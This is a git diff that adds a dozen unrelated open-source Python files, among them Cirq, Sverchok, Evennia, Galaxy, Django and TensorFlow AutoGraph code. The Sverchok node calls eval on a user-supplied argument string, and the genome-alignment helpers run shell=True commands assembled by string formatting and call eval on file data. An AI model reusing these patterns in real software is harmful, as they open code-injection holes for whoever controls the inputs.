str(self._key) + + def _measurement_key_obj_(self) -> 'cirq.MeasurementKey': + if self._key is None: + return NotImplemented + return self._key + + def _with_measurement_key_mapping_(self, key_map: Dict[str, str]): + if self._key is None: + return NotImplemented + if self._key not in key_map: + return self + return MixedUnitaryChannel(mixture=self._mixture, key=key_map[str(self._key)]) + + def _with_key_path_(self, path: Tuple[str, ...]): + return MixedUnitaryChannel( + mixture=self._mixture, key=protocols.with_key_path(self._key, path) + ) + + def _with_key_path_prefix_(self, prefix: Tuple[str, ...]): + return MixedUnitaryChannel( + mixture=self._mixture, key=protocols.with_key_path_prefix(self._key, prefix) + ) + + def _with_rescoped_keys_( + self, + path: Tuple[str, ...], + bindable_keys: FrozenSet['cirq.MeasurementKey'], + ): + return MixedUnitaryChannel( + mixture=self._mixture, + key=protocols.with_rescoped_keys(self._key, path, bindable_keys), + ) + + def __str__(self): + if self._key is not None: + return f'MixedUnitaryChannel({self._mixture}, key={self._key})' + return f'MixedUnitaryChannel({self._mixture})' + + def __repr__(self): + unitary_tuples = [ + '(' + repr(op[0]) + ', ' + proper_repr(op[1]) + ')' for op in self._mixture + ] + args = [f'mixture=[{", ".join(unitary_tuples)}]'] + if self._key is not None: + args.append(f'key=\'{self._key}\'') + return f'cirq.MixedUnitaryChannel({", ".join(args)})' + + def _json_dict_(self) -> Dict[str, Any]: + return protocols.obj_to_dict_helper(self, ['_mixture', '_key']) + + @classmethod + def _from_json_dict_(cls, _mixture, _key, **kwargs): + mix_pairs = [(m[0], np.asarray(m[1])) for m in _mixture] + return cls(mixture=mix_pairs, key=_key) diff --git a/pool/shard008/Python/0077187_numpy_array.py b/pool/shard008/Python/0077187_numpy_array.py new file mode 100644 index 0000000000000000000000000000000000000000..0abbd8bef9e005b3d03b3a191ba997a4bbf4600a --- /dev/null +++ b/pool/shard008/Python/0077187_numpy_array.py @@ -0,0 +1,68 @@ +# ##### BEGIN GPL LICENSE BLOCK ##### +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software Foundation, +# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +# +# ##### END GPL LICENSE BLOCK ##### + +import bpy +import numpy +from bpy.props import EnumProperty,StringProperty +from sverchok.node_tree import SverchCustomTreeNode +from sverchok.data_structure import (updateNode) + + +def Obm(m): + m = [(i,i,"") for i in m] + return m + + +class SvNumpyArrayNode(bpy.types.Node, SverchCustomTreeNode): + ''' Numpy Props ''' + bl_idname = 'SvNumpyArrayNode' + bl_label = 'numpy_props' + bl_icon = 'OUTLINER_OB_EMPTY' + + Modes = ['tolist','conj','flatten','reshape','repeat','resize', + 'transpose','swapaxes','squeeze','partition','searchsorted','round', + 'take','clip','ptp','all','any','choose','sort','sum','cumsum','mean', + 'var','std','prod','cumprod'] + Mod = EnumProperty(name="getmodes", default="tolist", items=Obm(Modes), update=updateNode) + st = StringProperty(default='', update=updateNode) + + def sv_init(self, context): + self.inputs.new('StringsSocket', 'List') + self.outputs.new('StringsSocket', 'Value') + + def draw_buttons(self, context, layout): + layout.prop(self, "Mod", "Get") + layout.prop(self, "st", text="args") + + def process(self): + if self.outputs['Value'].is_linked: + L = self.inputs['List'].sv_get() + L = numpy.array(L) if not isinstance(L,numpy.ndarray) else L + Ln = eval("L."+self.Mod+"("+self.st+")") + self.outputs['Value'].sv_set(Ln) + + def update_socket(self, context): + self.update() + + +def register(): + bpy.utils.register_class(SvNumpyArrayNode) + + +def unregister(): + bpy.utils.unregister_class(SvNumpyArrayNode) diff --git a/pool/shard008/Python/0077189_property.py b/pool/shard008/Python/0077189_property.py new file mode 100644 index 0000000000000000000000000000000000000000..349cb0b7cb6fe127bf2a5824123b84af52a06739 --- /dev/null +++ b/pool/shard008/Python/0077189_property.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# @property +# 2015-07-24 01:41:30 + +class Student(object): + + def get_score(self): + print 'score =', self._score + return self._score + + def set_score(self, value): + if not isinstance(value, int): + raise ValueError('score must be an integer!') + if value < 0 or value > 100: + raise ValueError('score must between 0 ~ 100!') + + self._score = value + +s = Student() +s.set_score(70) +s.get_score() + + +class Student(object): + + @property + def score(self): + return self._score + + @score.setter + def score(self, value): + if not isinstance(value, int): + raise ValueError('score must be an integer!') + if value < 0 or value > 100: + raise ValueError('score must between 0 ~ 100!') + + self._score = value + + + + + + + diff --git a/pool/shard008/Python/0077190_test_statement.py b/pool/shard008/Python/0077190_test_statement.py new file mode 100644 index 0000000000000000000000000000000000000000..21f9a7f52b3510f06c94ed2e3974111f55f80c08 --- /dev/null +++ b/pool/shard008/Python/0077190_test_statement.py @@ -0,0 +1,169 @@ +# python import - http://docs.python.org/library/unittest.html +import unittest +from StringIO import StringIO + +# import cfonb module +from cfonb.parser import Row, ParsingError, statement as p + + +HEAD_LINE = '0130002 00447 0000888899H 160811 0000000132303H ' + + +HEAD_VALUES = [ + '01', + '30002', + ' ', + '00447', + ' ', + ' ', + ' ', + '0000888899H', + ' ', + '160811', + ' ', + '0000000132303H', + ' ', + ] + + +CONTENT_4_LINE = '0430002013400447EUR2E0000431040H21210811 210811VIREMENT COMBELL 0000000 0000000020000} ' + +CONTENT_4_VALUES = [ + '04', + '30002', + '0134', + '00447', + 'EUR', + '2', + 'E', + '0000431040H', + '21', + '210811', + ' ', + '210811', + 'VIREMENT COMBELL ', + ' ', + '0000000', + ' ', + ' ', + '0000000020000}', + ' ', + ] + + +FOOT_LINE = '0730002 00447 0000888899H 280911 0000000118711D ' + + +FOOT_VALUES = [ + '07', + '30002', + ' ', + '00447', + ' ', + ' ', + ' ', + '0000888899H', + ' ', + '280911', + ' ', + '0000000118711D', + ' ', + ] + + +class TestStatement(unittest.TestCase): + + def setUp(self): + pass + + def tearDown(self): + pass + + def test_parse_head(self): + row = p.parse_head(HEAD_LINE) + # little type check + self.assertIsInstance(row, Row, 'invalid row type: %s' % type(row)) + # list copy for check + list_1 = row.as_list()[:] + list_2 = row.as_dict().values()[:] + # sort list to be compared + list_1.sort() + list_2.sort() + # list check + self.assertEqual(list_1, list_2) + # check dict and obj format + for i in range(13): + self.assertEqual(row.as_list()[i], getattr(row.as_obj(), p.HEAD_KEYS[i])) + self.assertEqual(row.as_list()[i], HEAD_VALUES[i]) + + def test_parse_content_4(self): + row = p.parse_content_4(CONTENT_4_LINE) + # little type check + self.assertIsInstance(row, Row, 'invalid row type: %s' % type(row)) + # list copy for check + list_1 = row.as_list()[:] + list_2 = row.as_dict().values()[:] + # sort list to be compared + list_1.sort() + list_2.sort() + # list check + self.assertEqual(list_1, list_2) + # check dict and obj format + for i in range(19): + self.assertEqual(row.as_list()[i], getattr(row.as_obj(), p.CONTENT_4_KEYS[i])) + self.assertEqual(row.as_list()[i], CONTENT_4_VALUES[i]) + + def test_parse_footer(self): + row = p.parse_footer(FOOT_LINE) + # little type check + self.assertIsInstance(row, Row, 'invalid row type: %s' % type(row)) + # list copy for check + list_1 = row.as_list()[:] + list_2 = row.as_dict().values()[:] + # sort list to be compared + list_1.sort() + list_2.sort() + # list check + self.assertEqual(list_1, list_2) + # check dict and obj format + for i in range(13): + self.assertEqual(row.as_list()[i], getattr(row.as_obj(), p.FOOT_KEYS[i])) + self.assertEqual(row.as_list()[i], FOOT_VALUES[i]) + + def test_statement(self): + # prepare file obj + file_obj = StringIO() + file_obj.write("%s\n" % HEAD_LINE) + file_obj.write("%s\n" % CONTENT_4_LINE) + file_obj.write("%s\n" % FOOT_LINE) + file_obj.seek(0) + # init statement + statement = p.Statement() + statement.parse(file_obj) + # prepare values to compare + header_line = p.parse_head(HEAD_LINE) + content_line = p.parse_content_4(CONTENT_4_LINE) + footer_line = p.parse_footer(FOOT_LINE) + # some tests + self.assertIsInstance(statement, p.Statement) + self.assertIsInstance(statement.header, Row) + self.assertIsInstance(statement.footer, Row) + self.assertIsInstance(statement.lines, list) + self.assertEqual(len(statement.lines), 1) + self.assertIsInstance(statement.lines[0], Row) + self.assertEqual(statement.header, header_line) + self.assertEqual(statement.footer, footer_line) + self.assertEqual(statement.lines[0], content_line) + + +def suite(): + suite = unittest.TestSuite() + suite.addTest(TestStatement('test_parse_head')) + suite.addTest(TestStatement('test_parse_content_4')) + suite.addTest(TestStatement('test_parse_footer')) + suite.addTest(TestStatement('test_statement')) + return suite + + +if __name__ == '__main__': + unittest.TextTestRunner(verbosity=1).run(suite()) diff --git a/pool/shard008/Python/0077200_rss.py b/pool/shard008/Python/0077200_rss.py new file mode 100644 index 0000000000000000000000000000000000000000..b932affca9a8d8a6b4fdd0037b3d157e8ff8c138 --- /dev/null +++ b/pool/shard008/Python/0077200_rss.py @@ -0,0 +1,155 @@ +""" +RSS parser for Evennia + +This connects an RSS feed to an in-game Evennia channel, sending messages +to the channel whenever the feed updates. + +""" +from builtins import object + +from twisted.internet import task, threads +from django.conf import settings +from evennia.server.session import Session +from evennia.utils import logger + +RSS_ENABLED = settings.RSS_ENABLED +#RETAG = re.compile(r'<[^>]*?>') + +if RSS_ENABLED: + try: + import feedparser + except ImportError: + raise ImportError("RSS requires python-feedparser to be installed. Install or set RSS_ENABLED=False.") + +class RSSReader(Session): + """ + A simple RSS reader using the feedparser module. + + """ + def __init__(self, factory, url, rate): + """ + Initialize the reader. + + Args: + factory (RSSFactory): The protocol factory. + url (str): The RSS url. + rate (int): The seconds between RSS lookups. + + """ + self.url = url + self.rate = rate + self.factory = factory + self.old_entries = {} + + def get_new(self): + """ + Returns list of new items. + + """ + feed = feedparser.parse(self.url) + new_entries = [] + for entry in feed['entries']: + idval = entry['id'] + entry.get("updated", "") + if idval not in self.old_entries: + self.old_entries[idval] = entry + new_entries.append(entry) + return new_entries + + def disconnect(self, reason=None): + """ + Disconnect from feed. + + Args: + reason (str, optional): Motivation for the disconnect. + + """ + if self.factory.task and self.factory.task.running: + self.factory.task.stop() + self.sessionhandler.disconnect(self) + + def _callback(self, new_entries, init): + """ + Called when RSS returns. + + Args: + new_entries (list): List of new RSS entries since last. + init (bool): If this is a startup operation (at which + point all entries are considered new). + + """ + if not init: + # for initialization we just ignore old entries + for entry in reversed(new_entries): + self.data_in("bot_data_in " + entry) + + def data_in(self, text=None, **kwargs): + """ + Data RSS -> Evennia. + + Kwargs: + text (str): Incoming text + kwargs (any): Options from protocol. + + """ + self.sessionhandler.data_in(self, text=text, **kwargs) + + def _errback(self, fail): + "Report error" + logger.log_err("RSS feed error: %s" % fail.value) + + def update(self, init=False): + """ + Request the latest version of feed. + + Args: + init (bool, optional): If this is an initialization call + or not (during init, all entries are conidered new). + + Notes: + This call is done in a separate thread to avoid blocking + on slow connections. + + """ + return threads.deferToThread(self.get_new).addCallback(self._callback, init).addErrback(self._errback) + +class RSSBotFactory(object): + """ + Initializes new bots. + """ + + def __init__(self, sessionhandler, uid=None, url=None, rate=None): + """ + Initialize the bot. + + Args: + sessionhandler (PortalSessionHandler): The main sessionhandler object. + uid (int): User id for the bot. + url (str): The RSS URL. + rate (int): How often for the RSS to request the latest RSS entries. + + """ + self.sessionhandler = sessionhandler + self.url = url + self.rate = rate + self.uid = uid + self.bot = RSSReader(self, url, rate) + self.task = None + + def start(self): + """ + Called by portalsessionhandler. Starts te bot. + """ + def errback(fail): + logger.log_err(fail.value) + + # set up session and connect it to sessionhandler + self.bot.init_session("rssbot", self.url, self.sessionhandler) + self.bot.uid = self.uid + self.bot.logged_in = True + self.sessionhandler.connect(self.bot) + + # start repeater task + self.bot.update(init=True) + self.task = task.LoopingCall(self.bot.update) + if self.rate: + self.task.start(self.rate, now=False).addErrback(errback) diff --git a/pool/shard008/Python/0077207_sakakibara_tools.py b/pool/shard008/Python/0077207_sakakibara_tools.py new file mode 100644 index 0000000000000000000000000000000000000000..59b0f0b4e1ff46c4f094a3bc85b2c4af377f0b9f --- /dev/null +++ b/pool/shard008/Python/0077207_sakakibara_tools.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python +# Standard modules +import os, bisect +import subprocess as sp + +# Nonstandard modules +import pandas as pd + +# My modules +from fasta_tools import get_absolute_positions + +def murasaki_pairwise(pair, outdir, outprefix, weight = 28, length = 36): + anchors = '{}/{}.anchors'.format(outdir, outprefix) + if not os.path.isfile(anchors): + genomes = ' '.join(list(pair.values())) + command = "murasaki -p[{}:{}] -d {} -n {} -H2 {}".format(weight, length, outdir, outprefix, genomes) + # if it's taking forever try -m [int] to skip hashes that appear [int] times + sp.Popen(command, shell=True).wait() + else: + print('Murasaki output already present at {}: using existing file.'.format(anchors)) + return anchors + +def abs_to_rel(anchors, outfile, verbose = True): + # Converts Murasaki output format using genome-based positions to OSFinder input format using chromosome/scaffold/contig-based positions + stub = anchors[:-len('.anchors')] + + if not os.path.isfile(outfile): + genome_file = stub + '.seqs' + genomes, intab = read_sakakibara(anchors, genome_file, 'murasaki') + out_header, sep = sakakibara_header(genomes, 'osfinder') + outtab = pd.DataFrame(index = intab.index, columns=out_header) + + if verbose: + print('Munging {} genomes from Murasaki format to OSFinder format.'.format(len(genomes))) + + for genome in genomes: + genome_positions = sorted(get_absolute_positions(genome).values()) + scaf = genome+'.scaf' + start = genome+'.start' + stop = genome+'.stop' + sign = genome+'.sign' + + # Convert Murasaki signed coordinates to OSFinder unsigned coordinates. + # Murasaki position -1 is complementary to 1 + # -2 is complementary to 2, . . . -SIZE is comp to SIZE + # -1 is NOT complementary to SIZE + + intab[start] = intab[start].apply(abs) + intab[stop] = intab[stop].apply(abs) + + def order(row): + # If the coord is negative need to swap start and stop + # such that start < stop. + if row[start] > row[stop]: + row[start], row[stop] = row[stop], row[start] + return row + + intab = intab.apply(order, axis=1) + + #for index, row in intab.iterrows(): + # if intab.loc[index, start] > intab.loc[index, stop]: + # intab.set_value(index, start, intab.loc[index, stop]) + # intab.set_value(index, stop, intab.loc[index, start]) + + # get number of scaffold and position adjustment for scaffold + outtab[scaf] = intab[start].apply(scaffold_number, args = (genome_positions, )) + delta = outtab[scaf].apply(lambda x: genome_positions[x-1] - 1) + + # delta converts to relative position + outtab[start] = intab[start] - delta + outtab[stop] = intab[stop] - delta + + outtab[sign] = intab[sign] + + if verbose: + print("\tFinished munging " + genome) + + outtab.to_csv(outfile, sep = sep, header = False, index = False) + print('OSFinder format written to {}.'.format(outfile)) + else: + print('OSFinder input found at {}: using existing file.'.format(outfile)) + + return outfile + +def read_sakakibara(file_name, genome_file, fmt): + # Reads Murasaki and OSFinder formated coordinate files into pandas dataframes + genomes = [line.strip() for line in open(genome_file, 'r')] + header, sep = sakakibara_header(genomes, fmt) + table = pd.read_csv(file_name, sep = sep, names = header, header = None, index_col = False) + return genomes, table + +def sakakibara_header(genomes, fmt): + header = [] + if fmt == 'murasaki': + [header.extend([genome+'.start', genome+'.stop', genome+'.sign']) for genome in genomes] + sep = '\t' + elif fmt == 'osfinder': + [header.extend([genome+'.scaf', genome+'.start', genome+'.stop', genome+'.sign']) for genome in genomes] + sep = ' ' + else: + raise ValueError("fmt must be 'murasaki' or 'osfinder'") + + return header, sep + +def scaffold_number(position, genome_positions): + return bisect.bisect(genome_positions, position) + +def osfinder_pairwise(anchors, outprefix, min_len = 1000): + segments = outprefix + '.os.txt' + + if not os.path.isfile(segments): + command = 'osfinder -i {} -o {} -n 2 -s {}'.format(anchors, outprefix, min_len) + sp.Popen(command, shell=True).wait() + else: + print('OSFinder output already present at {}: using existing file.'.format(segments)) + return segments + +def osfinder_to_grimm(osfinder_results, genome_file, outfile, genome_abbreviations): + genomes, tab = read_sakakibara(osfinder_results, genome_file, 'osfinder') + + grimm_genomes = {genome: [] for genome in genomes} + for genome in genomes: + scaf = genome+'.scaf' + start = genome+'.start' + sign = genome+'.sign' + + tab = tab.sort_values([scaf, start]) + + current_scaf = tab.iloc[0][scaf] + for i, segment in tab.iterrows(): + if segment[scaf] != current_scaf: + # End of the scaffold + grimm_genomes[genome].append('$') + current_scaf = segment[scaf] + + grimm_genomes[genome].append(str(eval(segment[sign]+str(i+1)))) # i+1 because GRIMM cannot start from 0 + + outfh = open(outfile, 'w') + for genome, segs in list(grimm_genomes.items()): + outfh.write(' '.join(['>', genome_abbreviations[genome], '\n'])) + outfh.write(' '.join(segs) + '\n') + outfh.write('\n') + outfh.close() diff --git a/pool/shard008/Python/0077208_test_fabric_util.py b/pool/shard008/Python/0077208_test_fabric_util.py new file mode 100644 index 0000000000000000000000000000000000000000..610c6e86f3ec1f5197e53060fd59af2e10d8b1ed --- /dev/null +++ b/pool/shard008/Python/0077208_test_fabric_util.py @@ -0,0 +1,45 @@ +from contextlib import contextmanager +from tool_shed.galaxy_install.tool_dependencies.recipe.env_file_builder import EnvFileBuilder + + +def test_env_file_builder(): + install_dir = "/opt/galaxy/dependencies/foo/" + env_file_builder = EnvFileBuilder( install_dir ) + added_lines = [] + mock_return = dict(value=0) + + def mock_file_append( text, file_path, **kwds ): + added_lines.append( text ) + return mock_return[ "value" ] + + with __mock_env_file_builder_method( env_file_builder, "file_append", mock_file_append ): + env_file_builder.append_line( name="PATH", action="prepend_to", value="/usr/bin/local/R" ) + assert added_lines == [ "PATH=/usr/bin/local/R:$PATH; export PATH" ] + assert env_file_builder.return_code == 0 + + # Reset mock lines + del added_lines[:] + # Next time file_append will fail + mock_return["value"] = 1 + + env_file_builder.append_line( action="source", value="/usr/bin/local/R/env.sh" ) + assert added_lines == [ "if [ -f /usr/bin/local/R/env.sh ] ; then . /usr/bin/local/R/env.sh ; fi" ] + # Check failure + assert env_file_builder.return_code == 1 + + mock_return["value"] = 0 + env_file_builder.append_line( name="LD_LIBRARY_PATH", action="append_to", value="/usr/bin/local/R/lib" ) + # Verify even though last append succeeded, previous failure still recorded. + assert env_file_builder.return_code == 1 + + +## Poor man's mocking. Need to get a real mocking library as real Galaxy development +## dependnecy. +@contextmanager +def __mock_env_file_builder_method( env_file_builder, name, mock_method ): + real_method = getattr( env_file_builder, name ) + try: + setattr( env_file_builder, name, mock_method ) + yield + finally: + setattr( env_file_builder, name, real_method ) diff --git a/pool/shard008/Python/0077209_setup.py b/pool/shard008/Python/0077209_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..facffc47194f36d7d54d020d54b86ab31b7d6fbe --- /dev/null +++ b/pool/shard008/Python/0077209_setup.py @@ -0,0 +1,83 @@ +from setuptools import setup, find_packages # Always prefer setuptools over distutils +from codecs import open # To use a consistent encoding +from os import path + +here = path.abspath(path.dirname(__file__)) + +# Get the long description from the relevant file +with open(path.join(here, 'README.rst'), encoding='utf-8') as f: + long_description = f.read() + +setup( + name='''ckanext-api_harvest''', + + # Versions should comply with PEP440. For a discussion on single-sourcing + # the version across setup.py and the project code, see + # http://packaging.python.org/en/latest/tutorial.html#version + version='0.0.1', + + description='''This CKAN extension enable an API to execute some harvest methods of Harvest extension to stop, create or run harvest jobs.''', + long_description=long_description, + + # The project's main homepage. + url='https://github.com/odevsp/ckanext-api_harvest', + + # Author details + author='''odevsp''', + author_email='''josep.joaquim.roig.ferrer@everis.com''', + + # Choose your license + license='AGPL', + + # See https://pypi.python.org/pypi?%3Aaction=list_classifiers + classifiers=[ + # How mature is this project? Common values are + # 3 - Alpha + # 4 - Beta + # 5 - Production/Stable + 'Development Status :: 4 - Beta', + + # Pick your license as you wish (should match "license" above) + 'License :: OSI Approved :: GNU Affero General Public License v3 or later (AGPLv3+)', + + # Specify the Python versions you support here. In particular, ensure + # that you indicate whether you support Python 2, Python 3 or both. + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + ], + + + # What does your project relate to? + keywords='''CKAN extension api harvest''', + + # You can just specify the packages manually here if your project is + # simple. Or you can use find_packages(). + packages=find_packages(exclude=['contrib', 'docs', 'tests*']), + + # List run-time dependencies here. These will be installed by pip when your + # project is installed. For an analysis of "install_requires" vs pip's + # requirements files see: + # https://packaging.python.org/en/latest/technical.html#install-requires-vs-requirements-files + install_requires=[], + + # If there are data files included in your packages that need to be + # installed, specify them here. If using Python 2.6 or less, then these + # have to be included in MANIFEST.in as well. + include_package_data=True, + package_data={ + }, + + # Although 'package_data' is the preferred approach, in some case you may + # need to place data files outside of your packages. + # see http://docs.python.org/3.4/distutils/setupscript.html#installing-additional-files + # In this case, 'data_file' will be installed into '/my_data' + data_files=[], + + # To provide executable scripts, use entry points in preference to the + # "scripts" keyword. Entry points provide cross-platform support and allow + # pip to create the appropriate form of executable for the target platform. + entry_points=''' + [ckan.plugins] + api_harvest=ckanext.api_harvest.plugin:Api_HarvestPlugin + ''', +) diff --git a/pool/shard008/Python/0077213_converter.py b/pool/shard008/Python/0077213_converter.py new file mode 100644 index 0000000000000000000000000000000000000000..f3f14762dff070ee36ff9a9c19660b6a64da82f4 --- /dev/null +++ b/pool/shard008/Python/0077213_converter.py @@ -0,0 +1,30 @@ +import re + +import discord +from discord.ext.commands import NoPrivateMessage, BadArgument, IDConverter + + +class InsensitiveRole(IDConverter): + """Convert to a :class:`discord.Role`. object. + + This class replicates :class:`discord.ext.commands.RoleConverter`, but the lookup is case insensitive. + + Lookup order: + 1. By ID. + 2. By mention. + 3. By name (case insensitive).""" + + async def convert(self, ctx, argument) -> discord.Role: + argument = argument.replace("\"", "") + guild = ctx.guild + if not guild: + raise NoPrivateMessage() + + match = self._get_id_match(argument) or re.match(r'<@&([0-9]+)>$', argument) + if match: + result = discord.utils.get(guild.roles, id=int(match.group(1))) + else: + result = discord.utils.find(lambda r: r.name.lower() == argument.lower(), guild.roles) + if result is None: + raise BadArgument('Role "{}" not found.'.format(argument)) + return result \ No newline at end of file diff --git a/pool/shard008/Python/0077214_0001_initial.py b/pool/shard008/Python/0077214_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..982fc30ee2e6d7778a37964adff96ac5254a0359 --- /dev/null +++ b/pool/shard008/Python/0077214_0001_initial.py @@ -0,0 +1,45 @@ +# Generated by Django 2.1.1 on 2018-09-15 21:24 + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Choice', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('choice_text', models.CharField(max_length=200)), + ('votes', models.IntegerField(default=0)), + ], + ), + migrations.CreateModel( + name='Poll', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('name', models.CharField(max_length=200)), + ], + ), + migrations.CreateModel( + name='Question', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('question_text', models.CharField(max_length=200)), + ('pub_date', models.DateTimeField(verbose_name='date published')), + ('image', models.ImageField(blank=True, null=True, upload_to='media')), + ('poll', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='test_app.Poll')), + ], + ), + migrations.AddField( + model_name='choice', + name='question', + field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='test_app.Question'), + ), + ] diff --git a/pool/shard008/Python/0077218_all_tests.py b/pool/shard008/Python/0077218_all_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..f09082291eef62c2e4b29663dda5ee3380988116 --- /dev/null +++ b/pool/shard008/Python/0077218_all_tests.py @@ -0,0 +1,32 @@ + + +import unittest +import fnmatch +import os +import imp + + +def get_all_modules(start_directory, filename_pattern): + modules = [] + + for root, _, filenames in os.walk(start_directory): + for filename in fnmatch.filter(filenames, filename_pattern): + path = os.path.join(root, filename) + filename_without_extension = os.path.splitext(filename)[0] + module = imp.load_source(filename_without_extension, path) + modules.append(module) + + return modules + + +if __name__ == "__main__": + + suite = unittest.TestSuite() + loader = unittest.TestLoader() + test_modules = get_all_modules("..", "test_*.py") + for module in test_modules: + suite.addTest(loader.loadTestsFromModule(module)) + + #print suite.countTestCases() + unittest.TextTestRunner(verbosity=2).run(suite) + diff --git a/pool/shard008/Python/0077219_call_trees.py b/pool/shard008/Python/0077219_call_trees.py new file mode 100644 index 0000000000000000000000000000000000000000..6d59c4bc761f1a6523332e60efd13b8f601bffb4 --- /dev/null +++ b/pool/shard008/Python/0077219_call_trees.py @@ -0,0 +1,221 @@ +# Copyright 2016 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Handles function calls, by generating compiled function names and calls. + +Note: this transformer does not rename the top level object being converted; +that is the caller's responsibility. + +Requires function_scopes. +""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import gast + +from tensorflow.python.autograph.core import converter +from tensorflow.python.autograph.pyct import anno +from tensorflow.python.autograph.pyct import parser +from tensorflow.python.autograph.pyct import templates +from tensorflow.python.autograph.utils import ag_logging + + +# TODO(mdan): Rename to FunctionCallsTransformer. + + +class _Function(object): + + no_root = True + + def __init__(self): + self.context_name = None + + +set_trace_warned = False + + +class _ArgTemplateBuilder(object): + """Constructs a tuple representing the positional arguments in a call. + + Example (yes, it's legal Python 3): + + f(*args1, b, *args2, c, d) -> args1 + (b,) + args2 + (c, d) + """ + + def __init__(self): + self._arg_accumulator = [] + self._argspec = [] + self._finalized = False + + def _consume_args(self): + if self._arg_accumulator: + self._argspec.append( + gast.Tuple(elts=self._arg_accumulator, ctx=gast.Load())) + self._arg_accumulator = [] + + def add_arg(self, a): + self._arg_accumulator.append(a) + + def add_stararg(self, a): + self._consume_args() + self._argspec.append( + gast.Call( + gast.Name( + 'tuple', ctx=gast.Load(), annotation=None, type_comment=None), + args=[a], + keywords=())) + + def finalize(self): + self._consume_args() + self._finalized = True + + def to_ast(self): + assert self._finalized + if self._argspec: + result = self._argspec[0] + for i in range(1, len(self._argspec)): + result = gast.BinOp(result, gast.Add(), self._argspec[i]) + return result + return gast.Tuple([], gast.Load()) + + +class CallTreeTransformer(converter.Base): + """Transforms the call tree by renaming transformed symbols.""" + + def visit_Lambda(self, node): + if not anno.hasanno(node, 'function_context_name'): + # Lambda functions created during the conversion process have no + # context manager. + return self.generic_visit(node) + with self.state[_Function] as fn_scope: + fn_scope.context_name = anno.getanno(node, 'function_context_name') + return self.generic_visit(node) + + def visit_FunctionDef(self, node): + # Decorators and arg defaults are part of the outer scope. + node.decorator_list = self.visit_block(node.decorator_list) + node.args.defaults = self.visit_block(node.args.defaults) + for i, d in enumerate(node.args.kw_defaults): + if d is not None: + node.args.kw_defaults[i] = self.visit(d) + with self.state[_Function] as fn_scope: + # Note: if the conversion process ever creates helper functions, this + # assumption will no longer hold. + assert anno.hasanno(node, 'function_context_name'), ( + 'The function_scopes converter always creates a scope for functions.') + fn_scope.context_name = anno.getanno(node, 'function_context_name') + node.body = self.visit_block(node.body) + if node.returns: + node.returns = self.visit(node.returns) + return node + + def visit_With(self, node): + # Context manager calls (in node.items) are not converted. + node.body = self.visit_block(node.body) + return node + + def _args_to_tuple(self, node): + """Ties together all positional and *arg arguments in a single tuple.""" + # TODO(mdan): We could rewrite this to just a call to tuple(). Maybe better? + # For example for + # f(a, b, *args) + # instead of writing: + # (a, b) + args + # just write this? + # tuple(a, b, *args) + builder = _ArgTemplateBuilder() + for a in node.args: + if isinstance(a, gast.Starred): + builder.add_stararg(a.value) + else: + builder.add_arg(a) + builder.finalize() + return builder.to_ast() + + def _kwargs_to_dict(self, node): + """Ties together all keyword and **kwarg arguments in a single dict.""" + if node.keywords: + return gast.Call( + gast.Name( + 'dict', ctx=gast.Load(), annotation=None, type_comment=None), + args=(), + keywords=node.keywords) + else: + return parser.parse_expression('None') + + def visit_Call(self, node): + full_name = str(anno.getanno(node.func, anno.Basic.QN, default='')) + function_context_name = self.state[_Function].context_name + node = self.generic_visit(node) + + # TODO(mdan): Refactor converted_call as a 'Call' operator. + + # Calls to the internal 'ag__' module are never converted (though their + # arguments might be). + if full_name.startswith('ag__.'): + return node + + # Calls to the function context manager (inserted by function_scopes) are + # also safe. + if full_name.startswith(function_context_name + '.'): + return node + + # Calls to pdb.set_trace or ipdb.set_trace are never converted. We don't use + # the normal mechanisms to bypass these literals because they are sensitive + # to the frame they are being called from. + # TODO(mdan): Generalize this to a "static whitelist" config. + if full_name in ('pdb.set_trace', 'ipdb.set_trace', 'breakpoint'): + global set_trace_warned + if not set_trace_warned: + # TODO(mdan): Update and shorten once available on tensorflow.org. + ag_logging.warn( + 'Detected `pdb.set_trace()` in user code. The code' + ' generated by AutoGraph is not optimized for step-by-step' + ' debugging. See https://github.com/tensorflow/tensorflow/' + 'blob/master/tensorflow/python/autograph/g3doc/reference/' + 'debugging.md.') + set_trace_warned = True + return node + + if (full_name == 'print' and + not self.ctx.user.options.uses(converter.Feature.BUILTIN_FUNCTIONS)): + return node + + template = """ + ag__.converted_call(func, args, kwargs, function_ctx) + """ + new_call = templates.replace_as_expression( + template, + func=node.func, + args=self._args_to_tuple(node), + kwargs=self._kwargs_to_dict(node), + function_ctx=function_context_name) + + return new_call + + +def transform(node, ctx): + """Transform function call to the compiled counterparts. + + Args: + node: AST + ctx: EntityContext + Returns: + A tuple (node, new_names): + node: The transformed AST + new_names: set(string), containing any newly-generated names + """ + return CallTreeTransformer(ctx).visit(node) diff --git 